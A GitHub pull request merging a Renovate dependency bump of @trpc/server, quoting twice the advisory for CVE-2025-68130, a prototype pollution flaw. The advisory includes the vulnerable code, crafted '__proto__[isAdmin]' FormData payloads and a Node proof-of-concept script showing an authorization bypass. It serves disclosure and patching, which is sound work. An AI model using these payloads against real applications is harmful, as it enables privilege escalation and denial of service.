Skip to content

Production deployment#1860

Merged
simonknittel merged 3 commits intomainfrom
develop
Dec 21, 2025
Merged

Production deployment#1860
simonknittel merged 3 commits intomainfrom
develop

Conversation

@github-actions
Copy link

Only merge using a merge commit!

simonknittel and others added 3 commits December 17, 2025 07:09
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [@trpc/server](https://trpc.io)
([source](https://redirect.github.com/trpc/trpc/tree/HEAD/packages/server))
| [`11.7.2` ->
`11.8.0`](https://renovatebot.com/diffs/npm/@trpc%2fserver/11.7.2/11.8.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@trpc%2fserver/11.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@trpc%2fserver/11.7.2/11.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-68130](https://redirect.github.com/trpc/trpc/security/advisories/GHSA-43p4-m455-4f4j)

> Note that this vulnerability is only present when using
`experimental_caller` / `experimental_nextAppDirCaller`.

## Summary

A Prototype Pollution vulnerability exists in `@trpc/server`'s
`formDataToObject` function, which is used by the Next.js App Router
adapter. An attacker can pollute `Object.prototype` by submitting
specially crafted FormData field names, potentially leading to
authorization bypass, denial of service, or other security impacts.

## Affected Versions

- **Package:** `@trpc/server`
- **Affected Versions:** >=10.27.0
- **Vulnerable Component:** `formDataToObject()` in
`src/unstable-core-do-not-import/http/formDataToObject.ts`

## Vulnerability Details

### Root Cause

The `set()` function in `formDataToObject.ts` recursively processes
FormData field names containing bracket/dot notation (e.g.,
`user[name]`, `user.address.city`) to create nested objects. However, it
does **not** validate or sanitize dangerous keys like `__proto__`,
`constructor`, or `prototype`.

### Vulnerable Code

```typescript
// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts
function set(obj, path, value) {
  if (path.length > 1) {
    const newPath = [...path];
    const key = newPath.shift();  // ← No validation of dangerous keys
    const nextKey = newPath[0];

    if (!obj[key]) {  // ← Accesses obj["__proto__"] which returns Object.prototype
      obj[key] = isNumberString(nextKey) ? [] : {};
    }
    
    set(obj[key], newPath, value);  // ← Recursively pollutes Object.prototype
    return;
  }
  // ...
}

export function formDataToObject(formData) {
  const obj = {};
  for (const [key, value] of formData.entries()) {
    const parts = key.split(/[\.\[\]]/).filter(Boolean);  // Splits "__proto__[isAdmin]" → ["__proto__", "isAdmin"]
    set(obj, parts, value);
  }
  return obj;
}
```

### Attack Vector

When a user submits a form to a tRPC mutation using Next.js Server
Actions, the `nextAppDirCaller` adapter processes the FormData:

```typescript
// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89
if (normalizeFormData && input instanceof FormData) {
  input = formDataToObject(input);  // ← Vulnerable call
}
```

An attacker can craft FormData with malicious field names:

```javascript
const formData = new FormData();
formData.append("__proto__[isAdmin]", "true");
formData.append("__proto__[role]", "superadmin");
```

When processed, this pollutes `Object.prototype`:

```javascript
{}.isAdmin        // → "true"
{}.role           // → "superadmin"
```

## Proof of Concept

```bash

# Step 1: Create the project directory

mkdir trpc-vuln-poc
cd trpc-vuln-poc

# Step 2: Initialize npm

npm init -y

# Step 3: Install vulnerable tRPC

npm install @​trpc/server@11.7.2

# Step 4: Create the test file 
```
---

### Test.js

```javascript
const { formDataToObject } = require('@​trpc/server/unstable-core-do-not-import');

console.log("=== PoC Prototype Pollution en tRPC ===\n");

console.log("[1] Estado inicial:");
console.log("    {}.isAdmin =", {}.isAdmin);

const fd = new FormData();
fd.append("__proto__[isAdmin]", "true");
fd.append("__proto__[role]", "superadmin");
fd.append("username", "attacker");

console.log("\n[2] FormData malicioso:");
console.log('    __proto__[isAdmin] = "true"');
console.log('    __proto__[role] = "superadmin"');

console.log("\n[3] Llamando formDataToObject()...");
const result = formDataToObject(fd);
console.log("    Resultado:", JSON.stringify(result));

console.log("\n[4] Después del ataque:");
console.log("    {}.isAdmin =", {}.isAdmin);
console.log("    {}.role =", {}.role);

const user = { id: 1, name: "john" };
console.log("\n[5] Impacto en autorización:");
console.log("    Usuario normal:", JSON.stringify(user));
console.log("    user.isAdmin =", user.isAdmin);

if (user.isAdmin) {
    console.log("\n    VULNERABLE - Authorization bypass exitoso!");
} else {
    console.log("\n    ✓ Seguro");
}
```

## Impact

### Authorization Bypass (HIGH)

Many applications check user permissions using property access:

```javascript
// Vulnerable pattern
if (user.isAdmin) {
  // Grant admin access
}
```

After pollution, **all objects** will have `isAdmin: "true"`, bypassing
authorization.

### Denial of Service (MEDIUM)

Polluting commonly used property names can crash applications:

```javascript
formData.append("__proto__[toString]", "not_a_function");
// All subsequent .toString() calls will fail
```

---

### tRPC has possible prototype pollution in
`experimental_nextAppDirCaller`
[CVE-2025-68130](https://nvd.nist.gov/vuln/detail/CVE-2025-68130) /
[GHSA-43p4-m455-4f4j](https://redirect.github.com/advisories/GHSA-43p4-m455-4f4j)

<details>
<summary>More information</summary>

#### Details
> Note that this vulnerability is only present when using
`experimental_caller` / `experimental_nextAppDirCaller`.

##### Summary

A Prototype Pollution vulnerability exists in `@trpc/server`'s
`formDataToObject` function, which is used by the Next.js App Router
adapter. An attacker can pollute `Object.prototype` by submitting
specially crafted FormData field names, potentially leading to
authorization bypass, denial of service, or other security impacts.

##### Affected Versions

- **Package:** `@trpc/server`
- **Affected Versions:** >=10.27.0
- **Vulnerable Component:** `formDataToObject()` in
`src/unstable-core-do-not-import/http/formDataToObject.ts`

##### Vulnerability Details

##### Root Cause

The `set()` function in `formDataToObject.ts` recursively processes
FormData field names containing bracket/dot notation (e.g.,
`user[name]`, `user.address.city`) to create nested objects. However, it
does **not** validate or sanitize dangerous keys like `__proto__`,
`constructor`, or `prototype`.

##### Vulnerable Code

```typescript
// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts
function set(obj, path, value) {
  if (path.length > 1) {
    const newPath = [...path];
    const key = newPath.shift();  // ← No validation of dangerous keys
    const nextKey = newPath[0];

    if (!obj[key]) {  // ← Accesses obj["__proto__"] which returns Object.prototype
      obj[key] = isNumberString(nextKey) ? [] : {};
    }
    
    set(obj[key], newPath, value);  // ← Recursively pollutes Object.prototype
    return;
  }
  // ...
}

export function formDataToObject(formData) {
  const obj = {};
  for (const [key, value] of formData.entries()) {
    const parts = key.split(/[\.\[\]]/).filter(Boolean);  // Splits "__proto__[isAdmin]" → ["__proto__", "isAdmin"]
    set(obj, parts, value);
  }
  return obj;
}
```

##### Attack Vector

When a user submits a form to a tRPC mutation using Next.js Server
Actions, the `nextAppDirCaller` adapter processes the FormData:

```typescript
// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89
if (normalizeFormData && input instanceof FormData) {
  input = formDataToObject(input);  // ← Vulnerable call
}
```

An attacker can craft FormData with malicious field names:

```javascript
const formData = new FormData();
formData.append("__proto__[isAdmin]", "true");
formData.append("__proto__[role]", "superadmin");
```

When processed, this pollutes `Object.prototype`:

```javascript
{}.isAdmin        // → "true"
{}.role           // → "superadmin"
```

##### Proof of Concept

```bash

##### Step 1: Create the project directory

mkdir trpc-vuln-poc
cd trpc-vuln-poc

##### Step 2: Initialize npm

npm init -y

##### Step 3: Install vulnerable tRPC

npm install @&#8203;trpc/server@11.7.2

##### Step 4: Create the test file 
```
---

##### Test.js

```javascript
const { formDataToObject } = require('@&#8203;trpc/server/unstable-core-do-not-import');

console.log("=== PoC Prototype Pollution en tRPC ===\n");

console.log("[1] Estado inicial:");
console.log("    {}.isAdmin =", {}.isAdmin);

const fd = new FormData();
fd.append("__proto__[isAdmin]", "true");
fd.append("__proto__[role]", "superadmin");
fd.append("username", "attacker");

console.log("\n[2] FormData malicioso:");
console.log('    __proto__[isAdmin] = "true"');
console.log('    __proto__[role] = "superadmin"');

console.log("\n[3] Llamando formDataToObject()...");
const result = formDataToObject(fd);
console.log("    Resultado:", JSON.stringify(result));

console.log("\n[4] Después del ataque:");
console.log("    {}.isAdmin =", {}.isAdmin);
console.log("    {}.role =", {}.role);

const user = { id: 1, name: "john" };
console.log("\n[5] Impacto en autorización:");
console.log("    Usuario normal:", JSON.stringify(user));
console.log("    user.isAdmin =", user.isAdmin);

if (user.isAdmin) {
    console.log("\n    VULNERABLE - Authorization bypass exitoso!");
} else {
    console.log("\n    ✓ Seguro");
}
```

##### Impact

##### Authorization Bypass (HIGH)

Many applications check user permissions using property access:

```javascript
// Vulnerable pattern
if (user.isAdmin) {
  // Grant admin access
}
```

After pollution, **all objects** will have `isAdmin: "true"`, bypassing
authorization.

##### Denial of Service (MEDIUM)

Polluting commonly used property names can crash applications:

```javascript
formData.append("__proto__[toString]", "not_a_function");
// All subsequent .toString() calls will fail
```

#### Severity
- CVSS Score: 8.5 / 10 (High)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L`

#### References
-
[https://github.com/trpc/trpc/security/advisories/GHSA-43p4-m455-4f4j](https://redirect.github.com/trpc/trpc/security/advisories/GHSA-43p4-m455-4f4j)
-
[https://nvd.nist.gov/vuln/detail/CVE-2025-68130](https://nvd.nist.gov/vuln/detail/CVE-2025-68130)
-
[https://github.com/trpc/trpc/commit/78629d524968ef8db5a7adf68d8b95a44369d77e](https://redirect.github.com/trpc/trpc/commit/78629d524968ef8db5a7adf68d8b95a44369d77e)
- [https://github.com/trpc/trpc](https://redirect.github.com/trpc/trpc)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-43p4-m455-4f4j) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>trpc/trpc (@&#8203;trpc/server)</summary>

###
[`v11.8.0`](https://redirect.github.com/trpc/trpc/releases/tag/v11.8.0)

[Compare
Source](https://redirect.github.com/trpc/trpc/compare/v11.7.2...v11.8.0)

#### What's Changed

- feat(server): support streaming in API Gateway REST API by
[@&#8203;anatolzak](https://redirect.github.com/anatolzak) in
[#&#8203;7039](https://redirect.github.com/trpc/trpc/pull/7039)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Renovate
Bot](https://redirect.github.com/renovatebot/renovate).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xNzMuMSIsInVwZGF0ZWRJblZlciI6IjQxLjE3My4xIiwidGFyZ2V0QnJhbmNoIjoiZGV2ZWxvcCIsImxhYmVscyI6W119-->

Co-authored-by: Renovate Bot <renovate@whitesourcesoftware.com>
@vercel
Copy link

vercel bot commented Dec 21, 2025

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Review Updated (UTC)
sam Ready Ready Preview Dec 21, 2025 0:26am

@sonarqubecloud
Copy link

@simonknittel simonknittel merged commit 42327e6 into main Dec 21, 2025
11 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant